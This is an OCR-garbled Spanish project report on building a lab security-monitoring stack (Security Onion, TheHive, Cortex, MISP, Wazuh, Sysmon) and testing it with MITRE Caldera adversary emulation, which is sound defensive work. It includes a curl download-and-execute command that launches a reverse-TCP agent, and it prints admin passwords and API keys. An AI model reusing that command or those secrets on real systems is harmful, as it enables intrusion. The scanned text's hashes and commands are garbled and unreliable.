(i) Information T/4/2020 10:21:22 PM Sysmon 7 Image loaded (rule: Imagel oad)
<

Event 7, Sysmon

General Details

Image loaded:

RuleName: technique_id=T1073 technique_name=DLL Side-Loading

UtcTime: 2020-07-05 01:21:22.830

ProcessGuid: {20244aea-2b12-5f01-5221-000000002000}

Processld: 6276

Image: CiWindows\System32\WindowsPowerShell\w1.0\powershell.exe

Imageloaded: C:\PregramData\Micresoft\Windows Defender\Platform’\4.18.2006.10-0\MpClient.dll
FileVersion: 4.18.2006.10 (WinBuild.160101.0800)

Description: Client Interface

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileMame: mpclient.dll

Hashes: SHA1=7DFOE4D7F283B8798F 176A3BECAITB04D42B2989 MD 5= 28ACEBAGSID35CADBAC2F255238291 D8, SHA256=3344C72D30307E253B2205DEFGBD565074695 14EFBC26222D3199772E4D0EAES, IMPHASH=
(72195DEATEC1DAS51577439B354ATF4B

Signedk true

Signature: Microsoft Windows

SignatureStatus: Valid

T1086 - Powershell

1 Information

<

Event 11, Sysmon

General  Details

File created:

RuleMame: technique_id=T1086 technique_name=PowerShell

UtcTime: 2020-07-04 22:57:07.169

ProcessGuid: {29244aea-0842-5f01-6020-000000002000}

Processld: 10284

Image: C:\Windows\System32\WindowsPowerShellw1.0\powershell.exe

TargetFilename: Ci\Users\User-\AppData\Local\Temp'__PSScriptPolicyTest_wwuvgzll.vbw.psi
CreationUtcTime: 2020-07-04 22:57:07.169

T1099 - Timestomp

U] Information

File creation time changed (rule:

@Infurmatmn /412020 3:31 Sysmon Dns query (rule; DnsQuery)
(i) Infarmation /412020 5:31:13 PM Sysmon 12 Registry object added or deleted (rule: RegistryEvent)
@Infurmatmn /472020 3:30:23 PM Sysmon 22 Dns query (rule; DnsQuery)

<

Event 2, Sysmon

General  Details

File creation time changed:

RuleMame: technique_id=T1099 technique_name=Timestomp

UtcTime: 2020-07-04 20:31:22.272

ProcessGuid: {29244aea-504d- 5efd-130d-000000002000}

Processld: 11792

Image: C:\Users\User-\AppData\Local\Postman\app-7.27.1\Postman.exe

TargetFilename: C\Users\User-\AppData‘Roaming!Postman\a9cefl7c-3cc5-474f-a40a-6c70a3f34d32 tmp
CreationUtcTime: 2020-06-30 14:47:16.420

PreviousCreationUtcTime: 2020-07-04 20:31:22.249
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Level Date and Time

@Information
@Infurmatlun
] Information
@Information
@Infurmatlun
@Infnrmatiﬂn
@Information
@Infurmatlun
b

7/4/2020 8:47:51 PM

T/4/2020 8:46:34 PM
T/4/2020 2:46:34 PM
7/4/2020 8:46:33 PM
T/4/2020 8:46:33 PM

Source Even... Task Category
Sysmon 22 Dns query (rule: DnsQuery)
Sysmon 1 Process Create (rule: ProcessCreate)
2
Sysmon 1
Sysmon 1 Process Create (rule: ProcessCreate)
Sysmon 12 Registry object added or deleted {rule: RegistryEvent)
Sysmon 12 Registry object added or deleted (rule: RegistryEvent)
Sysmon 1 Process Create (rule: ProcessCreate)

Event 12, Sysmon

General Details

Registry object added or deleted:

RuleName: technique_id=T1130,technique_name=Install Root Certificate
EventType: Createkey

UtcTime: 2020-07-04 23:47:47.719

ProcessGuid: {29244aea- 1523-5f01-da20-000000002000}

Processld: 2936

Image: C\Windows\systern32\consent.exe

TargetObject: HKU\S-1-5-21-3348125600-28719008681-1528912499-1001\Software\Microsoft\SystemCertificates\Root\ Certificates

T1204 - User Execution

] Information
®Informatlon

Sysmon

() Information 7/4/2020 2:46:34 PM Sysmen
() Information 7/4/2020 8:46:33 PM Sysmon
®Informatlon 7/4/2020 8:46:33 PM Sysmon

<

Process Create (rule: ProcessCreate)
Registry object added or deleted (rule: RegistryEvent)
Registry object added or deleted (rule: RegistryEvent)
1 Process Create (rule: ProcessCreate)

Event 1, Sysmon

General Details

Process Create:

RuleName: technique_id=T1204,technique_name=User Execution
UtcTime: 2020-07-04 23:47:47.513

ProcessGuid: {29244aea-1523-5f01-d920-000000002000}
Process|d: 3452

Image: C:\Windows\System32\mmc.exe

FileVersion: 10.0.18362.900 (WinBuild.160101.0800)

Description: Microsoft Management Console

Product: Micresoft® Windows® Operating System

Company: Microscft Corparation

OriginalFileName: mmc.exe

CommandLine: "CA\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc” /s
CurrentDirectory: C:\Windows\system32\

User: WINT0\User-

LogenGuid: {29244aea-b%a5-5efa-272b-1c0000000000}

Logonld: 0x1C2B27

TerminalSessionld: 1

IntegrityLevel: Medium

6D8477830CFEBD50B7224D91FADD7CRY
ParentProcessGuid: {29244aea-b9a8-5efa-a600-000000002000}
ParentProcessld: 1236

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Sysmon Logged: /472020 8:A4T7A7 PM

Event ID: 1 Task Category: Process Create (rule: ProcessCreate)
Levek: Information Keywords:

User: SYSTEM Computer: win10

OpCode: Info

More Information:  Event Log Online Help

Hashes: SHA1=A3BCTE285C43DB0D2725BF9744508AFEAT942DEE, MD5=CC049C54C99B8608D44D B42086754B A6, SHA256=4B5A965213CF312E7B576A3B41A48714DAABBI1CB38012398983C5D8619DFF42 IMPHASH=
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T1218 - Signed Binary Proxy Execution

1 Information
(i) Infarmation

Sysmon

Process Create (rule: ProcessCreate)

SRS

(i) Infarmation Sysmon Dins query (rule: DnsQuery)
(D\nformatmn Sysmon Dns query (rule: DnsQuery)
@\nformatmn 77472020 10:34:47 PM Sysmon 7 Image loaded (rule: Imageload)
@ Information 7/472020 10:34:47 PM Sysmon 11 File created (rule: FileCreate)

<

Event 1, Sysmon

General Details

Process Create:

RuleName: technique_id=T1218 technique_name=Signed Binary Proxy Execution
UtcTime: 2020-07-05 01:35:04.727

ProcessGuid: {29244aea-2e48-5f01-7421-000000002000}
Processld: 2452

Image: C:\Windows\System32\msiexec.exe

FileVersion: 5.0.18362.1 (WinBuild.160101.0800)

Description: Windows® installer

Product: Windows Installer - Unicode

Company: Microsoft Corporation

OriginalFileName: msiexec.exe

CommandLline: C\Windows\system32\msiexec.exe /V
CurrentDirectory: CA\Windows\system32\

User: NT AUTHORITY\SYSTEM

LogonGuid: {29244aea-b3ed-5efa-703-000000000000}
Logonld: 0x3E7

TerminalSessionld: 0

Integrityl evel: System

Hashes: SHA1=8DFAE441E3885EE393BFCE27BED 1 AGE32566E541,MD5=2D9F692E71DI985F1 CE237FOE3F6FETE, SHA256= 19083890028 A1F5906F4014E73615A268B3C4414F1F71697BF13E0D464258D 54, IMPHASH=
13C7ACE23F99CD5FBCIABDSC16BF2DCE

ParentProcessGuid: {29244aea- b3e3-5efa-0b00-000000002000}
ParentProcesald: /12
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3. Etapa de Implementacién

3.1 Laboratorio

Para este andlisis se trabajara con fuentes de datos del ambiente Windows y

Linux/Unix.

La configuracion del laboratorio comienza con una computadora host con
Proxmox 6.3-1. Hardware Custom (AMD 8 cores 16 threads, 64GB 3200 MHz DDR4).
Dicha maquina corre 6 sistemas operativos virtualizados o “invitados” para la

experimentacion:

Hostname IPv4 Rol 0s cPu Ram 'Merface
de red
WAN
ofSense  10.10.10.1 R°F”J\7r/ FreeBSD/ P(Fasnigs‘GZ)zé‘E's'RELEASE 1 2048  LAN
SPANP
. LAN
ngsiem  10.10.10.180 NG-SIEM Cent0S 7.7 (amd64) 6 16384 oo
SOAR
— o 101010170 cTI Ubuntu 18.04 (amd64) 4 8192  LAN
piar;e 10.10.10.112  AAE Ubuntu 18.04 (amd64) 2 8192  LAN
winl0  10.10.10.140 Endpoint Windows 10 Pro 64-bits 1 4096  LAN
ubuntul8 10.10.10.115 Endpoint Ubuntu 18.04 (amd64) 1 4096 LAN

Cabe destacar que todas las maquinas estan sincronizadas fecha y horario,
recomendado por buenas practicas. Por otro lado, se desactivd Windows Defender en

su totalidad para no hacer interferencia durante la fase de ejecucion de pruebas.
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3.2 Arquitectura y configuracion

Por medio de una evaluacién de herramientas, se tuvo en cuenta que sea
posible integrar multiples sistemas y el grado de complejidad, si es por API nativa o

no, y si el software posee una comunidad activa de soporte y casos de uso empiricos.

Next-Gen
SIEM

SIEM SOAR

The Cortex

~ = ==
Analista | 0000 E 8T cmendiudeomssssbnioomts. b | 5 | TRreeseseonsissstsiecisasnertioge

Implementacién Next Generation SIEM
Creado por Alvaro Yaquemet

La configuracién del laboratorio de pruebas consta de un pfSense como
switch/FW que provee internet a la LAN, refleja todo el trafico entrante y saliente a un
puerto SPANP local que esta conectado directamente a la interfaz enp0s8 del host

ngsiem.

El host ngsiem, cuenta con Security Onion y un sensor IDS, ambos se

configuraron como implementacién Standalone durante el Wizard de instalacion.

Para SOAR, se utiliza The Hive con Cortex y para CTI se implemento AlL-
Framework (Analysis of Information Leaks) con MISP (Malware Information Sharing

Platform) y Synapse para la integracién con Office 365.
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Como AAE (Advanced Adversary Emulation) la herramienta que provee MITRE

llamada Caldera, donde se ejecutd una conexion reverse-tcp a los Endpoints.

Luego dos equipos Endpoint, por un lado, un Ubuntu 18.04 y como segundo
equipo de pruebas una maquina con Windows 10 v.2004 que tiene configurado
Sysmon (SysinternalTools) donde se importd en la instalacion un XML personalizado
de configuracion para deteccion de TTPs. Junto con el agente Wazuh que cumple 3
propasitos, FIM (File Integrity Monitoring), exportar los registros de Operaciones de
EventViewer (Sysmon) y proveernos la ejecucién de acciones automatizadas desde
el SOAR llamadas “Responders” donde si identificamos que un equipo estuviese
comprometido mediante un clic podriamos bloquear el trafico malicioso, entre otras

funcionalidades.

3.3 Herramientas

En base a mi experiencia y los conocimientos adquiridos durante la carrera,
opté por la implementacion de las soluciones de forma practica, ya que, a efectos de
la demostracion cumple con los requisitos necesarios para la documentacion del

desarrollo de los casos de uso.

3.3.1 Security Onion

Se implementé la solucién Security Onion en modalidad Standalone, ya

gue, para el uso de pruebas es lo mas recomendado [9].

]

Wizard de instalacion Servicios levantados
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Cuenta con ELK para el andlisis, almacenamiento, indexacion y

procesamiento de datos.

También con un servidor Wazuh, monitoreo de trafico de red a través
de Zeek para inteligencia de amenazas con las reglas de deteccion BZAR -

MITRE [10] podriamos reconocer ataques oportunamente.

3.3.1.1 Prueba de funcionamiento IDS/IPS:

Source IP Address Destination IP Address

Deteccioén de trafico - Familia de Malware Zeus

3.3.2 The Hive

El foco para realizar inteligencia de amenazas efectiva es
automatizar los procesos desde un principio, fundamentalmente las
tareas relacionadas con datos, agregacion, comparacion,
contextualizacién, etc. Cuando estos estan bien implementados, los
informes y alertas se realizan de manera agil y eficaz para la toma de
decisiones. De manera tal que se anticipen amenazas emergentes
automatizando tareas de monitoreo y correlacion de indicadores de
compromiso, alimentando la informacibn de reputacion de

comportamiento desde una vision madura del ciberespacio.
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En primer lugar, Cortex-The Hive [11] es provisto como una
solucién autocontenida instalada como un Unico archivo docker-

compose que corre sobre un servidor Linux.
A continuacion, se describen los principales componentes del producto.

- Base de Datos: Cortex-The Hive utiliza una base de

datos Cassandra 3.11 a donde se almacenan todos los datos.

- Busqueda e Indexacién: Un rapido motor de

basqueda ElasticSearch 7.9 brinda la capacidad de encontrar
rapidamente cualquier dato residente, incluyendo observables,
mensajes, investigaciones pasadas, y mas.

- Software adicional: Un componente opcional que

permite la integraciébn con 0365 Outlook es el
software Synapse.

Dentro del mismo, se configuraron para atender los puertos:
5000 - Synapse
9000 - The Hive

9001 - Cortex

3.3.3 Cortex

Es una herramienta que se integr6 con The Hive para
resolver un problema comun que con frecuencia encuentran los
profesionales de ciberseguridad. Se busca afianzar el uso de la
inteligencia de amenazas, el analisis forense digital y agilizar la

respuesta a incidentes.

Por medio de la integracion por API, se puede automatizar
el analisis de observables (IP, e-mail, URL, nombres de dominio,
hash, malware, etc.), incluso de forma masiva. (Ver Anexo A).

Para dicho uso se debe tener en cuenta la reputacion de feeds.
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€ C A Noseguo | 10.30.10.170 index htmi®l/job a e« »0:

Jobs History (4)
Data Types (15) Job Type (2) Analyzors (14) Observable Pagination
Select Select+ Select ﬂ O Clear s0/page v
Status Job details ne PAP
[ip] 84[.]42[.]159].1138
BB | natyner iustons Cetheport 3 Date:3 mises a0 Users trai Q 200
lip] 23[.]27[.)127.]254
Analyzor:IBMKForce_Lookup Date: 17 minutes ago User: trining/thebive a  Dete
[ip] 23[.1271.1127[.1254
.o ) PR Date: 18 minutes ago Uhos saninghetive Qe 2 0t
[ip] 92[.]6
Analyzer: Ab Dutec oy oy Users training thehive S @ s
—
Title Severlty Tasks Observables  Assignee Date Actions
#2 - MISP e4 [] Outgoing To IP No Tasks 4 Q7/02/204220 -]
R elastater, SecurityOnion, MIsP, NIoS | Wazuh_1_0
(Closed at Frl, Jul 3rd, 2020 17:44 -03:00 as False Posttive) Block an IP on a host via Wazuh agent

Responders - Automatizacion con Wazuh

Por otro lado, se importaron plantillas para informes de incidentes

de seguridad:

10.10.10.170:9000/index.html#!/administration/case-templates

Import Case Template

report-templates (1).zip 0.2 MB
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<« C @ Noseguro

{3 TheHive

10.10.10.170:9000/index. html#!/case/V6TEEXMBI2dNfiGJeRil/observables/925b079a3. 6 fd5adéb84e820

+ NewCase Mytasks@ Waiting tasks @) Alerts @) | L Dashboards | Q Search

[1P]: 79L.J137(.]69[.]91

Metadata

e

Date added
Is10C

Has been slghted
Tags

Description

Analysis
Analyzer
AbuselPDB_1 0
Apuse Finder 3 0
CyberCrime-Tracker 1 0
DShield_lookup_1 0
IBMXForce_Lookup_L_0
MISP_2_1
TalosReputation 1 0
URLhaus 2 0

VirusTotal_GetReport 3 0

Thu, Jul 2nd, 2020 21:01 -03:00

Not specified

¥ Responders Links

Observable seen In 0 other case(s)

Runall

Last analysls Actions
Nane (]
Nene (6]
Nene (6]
Nane [ ]

#  Thu, Jul 2nd, 2020 21:01 -03:00 (LOCAL CORTEX)

' Thu, Jul 2nd, 2020 21:02 -03:00 (LOCAL CORTEX)

None

Nane

#  Thu, Jul 2nd, 2020 21:02 -03:00 (LOCAL CORTEX)

Resultados del I0C [79.137.69.91] analizado por 3 fuentes de CTI.

La funcionalidad que se busca es integrar las alertas generadas

desde Security Onion para robustecer y clarificar el analisis sumando

informacion de contexto y aplicando metodologia de respuesta ante

incidentes:

Create Cases

Create Alerts

............ O

Threat Sharing Platform

Motor de andlisis y respuesta de observables [11]

Alvaro Yaquemet
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Shared MISP

O External MISP
L N

EMAIL REPORTS
SIEM ALERTS

CT1 PROVIDER

CUSTOM ALERT
FEEDER

{ooa

Arquitectura e integracién The Hive Project - MISP [11]

3.3.4 Synapse

Es un complemento que permite alimentar a The Hive por medio de
multiples fuentes de alertas a la vez [12]. En este trabajo, se integra con
Office 365, para unificar el flujo de alertas y establecer la metodologia de

trabajo.

EICHANGELIB

Tipos de alertas integradas:

- Alertas Perimetrales

- Alertas Endpoints

- Actividad Sospechosa multiples fuentes.

- Alertas de Superacién de Umbrales

- Alertas de indicadores de compromiso

- Alertas de seguridad de Distintos Canales
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3.3.5 MISP - Malware Information Sharing Platform

Es una plataforma de intercambio de amenazas que ayuda a
compartir, almacenar y correlacionar indicadores de compromiso de
ataques dirigidos, inteligencia de amenazas, informacion de fraude

financiero, informacion de vulnerabilidades, entre otros [13].

La funcionalidad que se busca es integrar los datos almacenados
en Security Onion con inteligencia de amenazas para que sea accesible
y utilizable. En primer lugar, para dar visibilidad en los eventos y
actividades de seguridad capturados por las herramientas de seguridad
informatica. Combinando y correlacionando I0OCs y eventos se produce
inteligencia genuina relevante para el negocio y asi se otorga un

panorama mas amplio de amenazas.

El aspecto critico de la integracion es entregar mas inteligencia
importante, especifica, relevante y contextualizada del grupo
cibercriminal correcto en el momento correcto segun la matriz MITRE
ATT&CK.

La solucion se implement6 con Docker [14]:

service docker start

git clone https://github.com/harvard-itsecurity/docker-misp.git

sudo docker run -it --rm -v /docker/misp-db:/var/lib/mysql harvarditsecurity/misp /init-db
sudo mkdir /docker/certs

sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout
/docker/certs/misp.key -out /docker/certs/misp.crt

sudo docker run -t -d -p 443:443 -p 80:80 -p 3306:3306 -v
/docker/certs:/etc/ssl/private -v /docker/misp-db:/var/lib/mysqgl harvarditsecurity/misp

#!/bin/bash

docker rmi harvarditsecurity/misp

docker build \--rm=true --force-rm=true \
--build-arg MYSQL_MISP_PASSWORD=9s2hd.s-2/s\
--build-arg POSTFIX_RELAY_HOST=localhost \

--build-arg MISP_FQDN=10.10.10.170\
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--build-arg MISP_EMAIL=alvaro@misp \

—-build-arg MISP_GPG_PASSWORD-=L.sjp*/-~sd3fr\

Servicios corriendo

3.3.5.1 Configuracién de Feeds

Consola MISP

Se configuraron Feeds, que son fuente de intercambio de
informacion de amenazas para retroalimentar la arquitectura de NG-
SIEM.

3.3.6 AIL - Analysis of Information Leaks

Es un marco para analizar posibles filtraciones de informacion de
fuentes de datos no estructuradas como Pastebin o servicios similares.
Se utiliza para deteccion y prevencion de fuga de datos. Dentro de sus
caracteristicas principales, posee integracion con The Hive y MISP,
durante la crawl phase rastrea de manera continua actividad en la
DarkWeb, ya sean, claves de privadas, informacion de usuarios VIP,

informacion confidencial de la organizacion [15].
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Dicha herramienta se implementé como contenedor:

git clone https://github.com/ail-project/ail-framework.git
cd /opt/AlL-framework

Jinstalling_deps.sh

cd bin/

JLAUNCH.sh -|

Servicio levantado y funcionando

by date range :

y 4 specitied dsterange. Display sl

Afiadiendo strings de posibles Data Leaks en DarkWeb.
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3.3.7 Caldera

La mejor defensa es una defensa probada con anterioridad. Por
dicho motivo es que se describira la instalacion y uso de la herramienta,
basada en el framework MITRE ATT&CK vy diseiiada para simular de
manera practica y sencilla habilidades concretas que realizan los

atacantes [16].

Funciona con un agente llamado 54ndc47 escrito en GoLang para
compatibilidad multiplataforma, es el agente implementado en los

Endpoints mediante la opcién reverse-shell TCP.

Es altamente recomendable primero realizar la instalacion de Go:

curl -O https://dl.google.com/go/go1.10.3.linux-amd64.tar.gz
tar xvf go1.10.3.linux-amd64.tar.gz

sudo chown -R root:root ./go

sudo nano ~/.profile

sudo mv go /usr/local

export GOPATH=$HOME/work

export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
export GOROOT=$HOME/go

export GOPATH=$HOME/work

export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

source ~/.profile

Una vez hecho esto y corroborado, se puede instalar la herramienta:

git clone https://github.com/mitre/caldera.git --recursive --branch master
pip3 install -r requirements.txt

python3 server.py

ubuntu@ubuntul804: /opt/caldera$S sudo python3 server.py

2020-07-082 20:32:56 - INFO (config_generator.py:55 ensure_local_config) Creating new secure config in conf/local.yml
2020-07-02 20:32:56 - INFO (config_generator.py:3® log_config_message)

Log into Caldera with the following admin credentials:

Red:

USERNAME: red

PASSWORD: uV3vgyBN6SXJevUrhp57ua62APojLFhu7ydARz15xt4
API_TOKEN: DlLam9nvgNYgC8gdjA®3zIpqrG4t9pK4Rlsarhipiyu
Blue:

NAME: blue
WORD: vLag4Gx5-vev4DsxWLCQj7hUNFI_ZoBDPAiGPHGeon®

API_TOKEN: 2o0Blfra¥YmrifJW8JYEYWDt7T5fdDKV6whWbvaVDFFzw
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Activacion exitosa de Caldera

CONFIGURATION

Settings
reports_dir /tmp

exfil_dir Jtmp

app.contact.gist API_KEY

app.contact.html /weather
app.contact.http

app.contact.tcp 0.0.0.0:7010

app.contact.udp 0.0.0.0:7011

© 0000006

app.contact.websocket 0.0.0.0:7012

Configuracion de puertos

3.3.7.1 Conexién con maquinas victima

Primero se toma posesién de la victima con Windows 10, para ello

Se ejecuta un script:

Ejecucion de PSH vy verificacion de conexion exitosa

Luego, se lanza en el Endpoint Ubuntu el agente reverse-shell
para comunicar via TCP con Caldera y realizar las pruebas entre
Endpoints:

root@ubuntu18e4: fhome/ubuntu# server="http://10.10.10.116:8888" ;s0cket="10.10.10
.116:7010" ; contact="tcp";curl -s -X POST -H "file:manx.go" -H "platform:linux" $§
server/file/download > manx.go;chmod +x manx.go;./manx.go -http Sserver -socket

Ssocket -contact Scontact -v
[*] tcp outbound socket 10.10.18.116:7810, inbound at 6680
[+] TCP established for ubrihf

Ambas maquinas fueron tomadas, una vez hecho, se pasa a

ejecutar acciones tales como TTPs.
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Evidencia del lado del atacante.

El objetivo es probar y desarrollar analisis de deteccion basado en
los datos generados por las configuraciones personalizadas en Sysmon

y Wazuh.

La seleccion de habilidades se centrara en aquellas que se requieran
para cumplir los casos de uso especificos, que se relacionan con
actividades comunes en el proceso de intrusion, no obstante, la
herramienta provee variaciones en el uso de las habilidades

recomendadas.

3.3.8 Agentes

3.3.8.1 Instalacién y configuracion de Sysmon

Se pretende utilizar una herramienta EDR libre desarrollada por
Microsoft denominada Sysinternals Sysmon. Posee varias funciones,
entre ellas colecciona informacion detallada sobre la actividad de
sistema, creaciones de proceso, archivo, conexiones de la red, etc. por
medio de un controlador de dispositivos y un servicio que se inicia en el
proceso de arranque de manera que permite obtener un mayor trazado

en plataformas Windows [17].

Para esto, se tomé como base el proyecto publicado en
https://github.com/olafhartong/sysmon-modular. Se Ilo adapté para
segmentar por tacticas el archivo de configuracion sysmonconfig.xml,
para afiadir algunos controles y excepciones en el visor de eventos de
Windows. Dichos eventos seran enviados a Security Onion por medio de

Wazuh para comprender como operan los intrusos y malware en la red.
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Sysmon_Ejecutable»sysmon.exe -accepteula -i sysmonconfig.xml

Servicio Sysmon corriendo y configurado

Luego, en la ubicacion del Visor de Eventos se visualizan los

Registros “Operacionales”:

{ﬂ Visor de eventos (local)
y Vistas persona&‘%adas
& Registros de Windows
v Registros de aplicaciones y servicios
CrowdStrike
. ] Eventos de hardware
. ] Internet Explorer
v Microsoft
Antimalware
AppV
User Experience Virtualization
Windows

. StorPort
Storsvc

v Sysmon
| Operational

3.3.8.2 Instalacién y configuracion de Wazuh

Es una solucion que provee funcionalidades de monitoreo,
deteccidn y respuesta de incidentes [18]. Se utilizara para recopilar los
registros del Visor de Eventos por medio de un canal cifrado y

autenticado que seran enviados al host ngsiem.
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En Security Onion se ejecuta:

Ivar/ossec/bin/manage_agents -a 10.10.10.140 -n win10

Alta de agente

Luego tomamos la clave de autorizacién para cargarla en el

agente posteriormente:

MDImNDFmZ 1M IMGM5YT Tk
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& Wazuh Agent Manager
Manage View Help

Wazuh vaah
Agent: win10[001) - 101010140

Status: Aunning

Manager IP:

Buthentication key: |M DaxHAphEwI DEwLEwWLEWL

Save ‘ Refresh ‘

ile fnteg

https://wazuh.com

Revision 3337

pity onitoring

SeConds

Ventana de registracion

Eventos de inicializaciéon

Desde el host ngsiem se corrobora la configuracion de agentes:

Alvaro Yaquemet

/var/ossec/bin/agent_control -Ic
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4. Alinear los casos de uso a latopologia planteada

A continuacion, se detallan las integraciones llevadas a cabo para la

orquestacion, automatizacion y control:

4.1 MISP - IDS:

En la consola de MISP, se generan las reglas de IDS y se sincronizan por medio

de un script:

Export

Ventana export Reglas IDS

Se ejecuta el script de integracion MISP-Zeek:
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4.2 The Hive - AIL

Se crea un usuario para integracion en The Hive y se exporta la clave API en
AlL:

Generacion de usuario para integracion.
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C A Noseguro | 10.10.10.170:7000

@ MISP"

Threat Sharing

ail nroiact

Integracién The Hive con AlL-Framework

4.3 The Hive - Cortex

La integracion de dichas herramientas viene embebida en la imagen que se
utiliz6 para esta prueba de concepto, no obstante, se afiadieron funcionalidades:
https://github.com/The Hive-Project/Cortex-Analyzers configurando 152 analyzers y

19 responders para automatizar tareas de analisis y respuesta a incidentes.

Edicion del archivo /etc/application.conf:
analyzer {

# Directory that holds analyzers

path = [

"lopt/Cortex-Analyzers/analyzers",

]

fork-join-executor {

# Min number of threads available for analyze
parallelism-min = 2

# Parallelism (threads) ... ceil(available processors * factor)
parallelism-factor = 2.0

# Max number of threads available for analyze
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parallelism-max = 4

}
}

responder {
# Directory that holds responders
path = [
"lopt/Cortex-Analyzers/responders",
]
fork-join-executor {
# Min number of threads available for analyze
parallelism-min = 2
# Parallelism (threads) ... ceil(available processors * factor)
parallelism-factor = 2.0
# Max number of threads available for analyze

parallelism-max = 4

}

}
## ANALYZERS

#

analyzer {

# Absolute path where you have pulled the Cortex-Analyzers repository.
#path = ["/opt/Cortex-Analyzers/analyzers"]

urls = ["https://dl.bintray.com/The Hive-project/cortexneurons/analyzers.json"]

# Sane defaults. Do not change unless you know what you are doing.

fork-join-executor {

# Min number of threads available for analysis.
parallelism-min = 2

# Parallelism (threads) ... ceil(available processors * factor).
parallelism-factor = 2.0

# Max number of threads available for analysis.

parallelism-max = 4
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}
}

responder {

path = ["/opt/Cortex-Analyzers/responders"]

€ 3 C A Noseguo | 10.1010.1709001/indexhtmi¥!/adminorganizations training an » =@

XichsHistory  OfAnalyzers W Responders B Organtzation 0'"--7'--

Organization: training

Busers QunatgersConlly  OfAnaiyrers @ PRespondersConfig W Responders

Available analyzers (152)

a

Cantidad de analizadores disponibles

€ 5 C A Moseguro | 1010101709001 indexhtmi® /admin/organizations/training Q% =@

Riowshistory otamtyuens W esponcers  Bornimton () tamngrnenve

Organization: training

Buss  OmamnCoaly  ofAmaiyies  BResponcusComly W Respanders

vl responders 19

Cantidad de responders disponibles

4.4 The Hive - ElastAlert

Se configuré a través de ElastAlert el envio de reglas matcheadas IDS-MISP a
The Hive

El comando para testear la configuracion de alertas es:

sudo so-elastalert-test /etc/elastalert/elastalert_config.yaml

# misp-nids-hive.yaml

# Elastalert rule to forward IDS alerts generated by MISP NIDS rules from Security Onion
# to a specified The Hive instance.

#

es_host: 10.10.10.180

es_port: 9200

name: MISP NIDS Rule Match
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type: frequency
index: "*:logstash-ids*"
num_events: 1
timeframe:
minutes: 1
filter:
- query:
query_string:
query: "alert: MISP"
alert:
- "hivealerter”
hive_connection:
hive_host: http://10.10.10.170:9000
hive_apikey: f2+cLIZVNul6/wHBO/UA+97DpRSrWavu
hive_alert_config:
title: {match[alert]}'
type: 'external’
source: 'Security Onion'
description: ‘{match[message]}'
severity: 2
tags: [‘elastalert, Security Onion, MISP, NIDS']
tlp: 3
status: 'New'
follow: True
hive_observable_data_mapping:
- ip: {match[source_ip]}'
- ip: {match[destination_ip]}'
- other: {match[interface]}

- other: {match[sid]}'
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Alert Preview New

MISP e4 [] Outgoing To IP
11D: af382dcficdead9e1036da807 19660 B Date: Thu, Jul 2nd, 2020 4:20 -03:00 @ Type: external 1l Reference: e8ed30 @ Source: SecurityOnion

B <. scartyomon s s

Description

1:4084541:1] MISP e4 [] Outgoing To IP [Classification: A Network Trojan was detected] [Priority: 1): <ngslem-enp0ss-1> {TCP} 10.10.10.140:5714 -> 34.236.61.108:443

Additional fields
No oditional information have been specified

Observables (4)

LI @ other2)
Type Data
ip 10[120[]10[]140
ip 3411236L16101108
other ngsiem-enposs-1
other 4084541

Cancel & Mark as read @ Ignore new updates. #* Merge into case Import alert as. Empty case M Yes, Import

Visualizacion de alerta en The Hive - Nuevo Incidente de seguridad

4.5 Wazuh - Sysmon

Se edita el archivo de configuracién del agente Wazuh para que tome los

registros Operacionales del Visor de Eventos de Windows:

Mj *ossec.conf - Notepad
File Edit Format View Help
<fclient_buffer>

<!-- Log analysis -->

<localfile>
<location»Application</location>
<log_format>eventchannel</log format>

<flocalfile»

<localfiley|
<location»Security</location>
<log_format»eventchannel</log format>
<query>Event/System[EventID != 5145 and EventID != 5156 ar
EventID != 4656 and EventID != 4658 and EventID != 4663
EventID != 4670 and EventID != 4696 and EventID != 4783
EventID != 5152 and EventID != 5157]</query>
<flocalfile>

<localfile»
<location»System</location>
<log_format»eventchannel</log format>
<flocalfile>

<localfile>
<location>Microsoft-Windows-Sysmon/Operational</location>
<log_format»eventchannel</log format>

<flocalfile>
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4.6 Testeo de integracion por API

Las integraciones fueron testeadas con la herramienta Postman [19], la cual se
utiliza, sobre todo, para consumir, depurar y realizar pruebas de APl REST,

monitorizarlas, simularlas, etc.

En la imagen siguiente, por medio de un POST obtenemos una salida valida,
de esta forma podemos decir que la API esta respondiendo:

4.7 Configuracion de las reglas a monitorearse
4.7.1 Sysmon

Para la obtencién de registros relacionados con la matriz de MITRE, se
configuraron las reglas de monitoreo segun el alcance que tiene Sysmon de
acuerdo con la matriz de MITRE ATT&CK [20].

4.7.2 BZAR - Zeek

Se importaron y cargaron reglas referentes al framework MITRE
ATT&CK:
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Carga de reglas

4.7.3 Wazuh

Configuracion Monitoreo de Integridad de Archivos (FIM):

<!-- File integrity monitoring --»>
<syscheck>

<disabled>no</disabled>

<!-- Frequency that syscheck is executed default every 12 hours -->

<frequency>6808</frequency>

<directories check_all="yes" realtime="yes" report_changes="yes">C:\Users\User-\Documents\BaseDeClientesVIP</directoriesy

Control tiempo real de modificacion en directorio “BaseDeClientesVIP”
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5. Control y monitoreo

5.1 Implementacion de Dashboards

Por medio de un Dashboard en Kibana, podemos apreciar las reglas que se

correlacionaron para tener métricas sobre las posibles TTPs detectadas tanto en

Endpoints (Sysmon/Wazuh) como perimetro (BZAR - Zeek).

47

eventdata.ruleName technique_id=T1044tec
System Permissions We

Desde The Hive se visualizan las alertas generadas por ElastAlert sobre los

eventos correlacionados en Security Onion:

< C @ Noseguro | 10.10.10.170:9000/index htmi#}/cases

(“TheHive + NewCase Mytasks@ Waitingtasks{@ Alerts @&#) | Ll Dashboards | QSearch

List of cases (3 of 3)

m lwlSas | QFitors v perpage

Lfilter(s) applied: status:Open %  Clearfilters
Title Severlty Tasks Observables  Assignee Date Actlons
#3- MISP e4[1 Outgoing To IP MNo Tasks 4 A 07/02/20 14:42 &
LY clsialr,SccurtyOnion, isP. i |
#2- MISP e4[] Outgoing To IP No Tasks 4 A 07/02/20 4:20 &
LY cisiiat Scurtyonion, wis? s §
#1-TEST 1 1Task 3 A 06/29/20 4:06 o
W None

Gestion de incidentes de seguridad por medio de casos
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5.1.1 Dashboard - Deteccion y métricas de certificados.

Orscover
Vsualize

Alert Data
Dashboard
Timelic
o Tocks Zeok Hunting
Management

squert

